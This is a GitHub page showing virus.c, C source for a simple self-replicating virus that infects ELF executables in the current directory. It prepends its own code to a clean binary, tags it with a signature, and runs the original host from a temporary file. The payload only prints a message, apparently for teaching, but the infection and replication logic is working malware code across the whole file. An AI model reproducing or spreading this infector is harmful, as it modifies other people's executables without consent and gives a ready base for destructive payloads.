-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathvirus.c
170 lines (145 loc) · 4.13 KB
/
virus.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include <stdio.h> // for basic IO
#include <dirent.h> // for directories
#include <stdbool.h> // macros for boolean data type
#include <sys/stat.h> // structure of data returned by *stat().
#include <sys/sendfile.h> // for sendfile()
#include <sys/wait.h> // for waitpid()
#include <fcntl.h> // for file control operations
#include <unistd.h> // for close()
#define SIGNATURE 4033
#define SIZE 14056
#define PAYLOAD_MESSAGE "Hello! This is a simple virus!"
#define TEMP_FILENAME ".tempFile"
void executeSomethingBad();
char* getCleanHostFile(int self_inode);
bool isOriginalVirus(int vfd);
bool isELF(char* fileName);
bool isClean(char* fileName);
void infectHostFile(char* hostFileName, int vfd);
void appendSignature(int vfd, char* fileName, mode_t mode, int size);
void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]);
void main(int argc, char *argv[]) {
int vfd = open(argv[0], O_RDONLY);
struct stat st;
fstat(vfd, &st);
executeSomethingBad();
char* cleanHostName = getCleanHostFile(st.st_ino);
if(cleanHostName != NULL)
infectHostFile(cleanHostName, vfd);
if(isOriginalVirus(vfd))
appendSignature(vfd, argv[0], st.st_mode, st.st_size);
else
executeHostPart(vfd, st.st_mode, st.st_size, argv);
close(vfd);
}
/**
* Execute malacious script
*/
void executeSomethingBad() {
puts(PAYLOAD_MESSAGE);
}
/**
* Returns true if this file has only the virus code
*/
bool isOriginalVirus(int vfd) {
return SIZE == lseek(vfd, 0, SEEK_END);
}
/**
* Gets an ELF file's name that is not yet infected in the current working directory.
* If no such files are found, NULL is returned
*/
char* getCleanHostFile(int self_inode) {
struct stat st;
DIR *dir = opendir("./");
struct dirent *dp;
while((dp = readdir(dir)) != NULL){
stat(dp->d_name, &st);
if(st.st_ino == self_inode) continue; // Don't infect self
if(isELF(dp->d_name) && isClean(dp->d_name)){
closedir(dir);
return dp->d_name;
}
}
closedir(dir);
return NULL;
}
/**
* Returns true if the file's format is ELF
* (Executeable and Linkable Format)
* ELF files have the first four bytes as
* {0x7f, 'E', 'L', 'F'}.
*/
bool isELF(char* fileName) {
if(fileName[0] == '.') return false;
int hfd = open(fileName, O_RDONLY);
char header[4];
read(hfd, header, 4);
close(hfd);
return header[0] == 0x7f
&& header[1] == 'E'
&& header[2] == 'L'
&& header[3] == 'F';
}
/**
* Returns true if the file has not been infected yet
* by checking the last few bytes of the file
*/
bool isClean(char* fileName) {
int signature;
int fd = open(fileName, O_RDONLY);
lseek(fd, -1 * sizeof(signature), SEEK_END);
read(fd, &signature, sizeof(signature));
close(fd);
return signature != SIGNATURE;
}
/**
* Infect host file by creating a temporary file;
* appending the virus/infected file, clean ELF host, and signature;
* and replacing the host file with the temporary file.
*/
void infectHostFile(char* hostFileName, int vfd) {
int hfd = open(hostFileName, O_RDONLY);
struct stat st;
fstat(hfd, &st);
int hostSize = st.st_size;
int signature = SIGNATURE;
int tfd = creat(TEMP_FILENAME, st.st_mode);
// Virus->Host->Signature
sendfile(tfd, vfd, NULL, SIZE);
sendfile(tfd, hfd, NULL, hostSize);
write(tfd, &signature, sizeof(signature));
rename(TEMP_FILENAME, hostFileName);
close(tfd);
close(hfd);
}
/**
* Append signature to the virus
*/
void appendSignature(int vfd, char* fileName, mode_t mode, int size) {
int tfd = creat(TEMP_FILENAME, mode);
int signature = SIGNATURE;
lseek(vfd, 0, SEEK_SET);
sendfile(tfd, vfd, NULL, size);
write(tfd, &signature, sizeof(signature));
close(tfd);
rename(TEMP_FILENAME, fileName);
}
/**
* Execute the original host program inside this object file
*/
void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
int tfd = creat(TEMP_FILENAME, mode);
lseek(vfd, SIZE, SEEK_SET);
int signatureSize = sizeof(SIGNATURE);
int hostSize = totalSize - SIZE - signatureSize;
sendfile(tfd, vfd, NULL, hostSize);
close(tfd);
pid_t pid = fork();
if(pid == 0) {
execv(TEMP_FILENAME, argv);
}
else{
waitpid(pid, NULL, 0);
unlink(TEMP_FILENAME);
}
}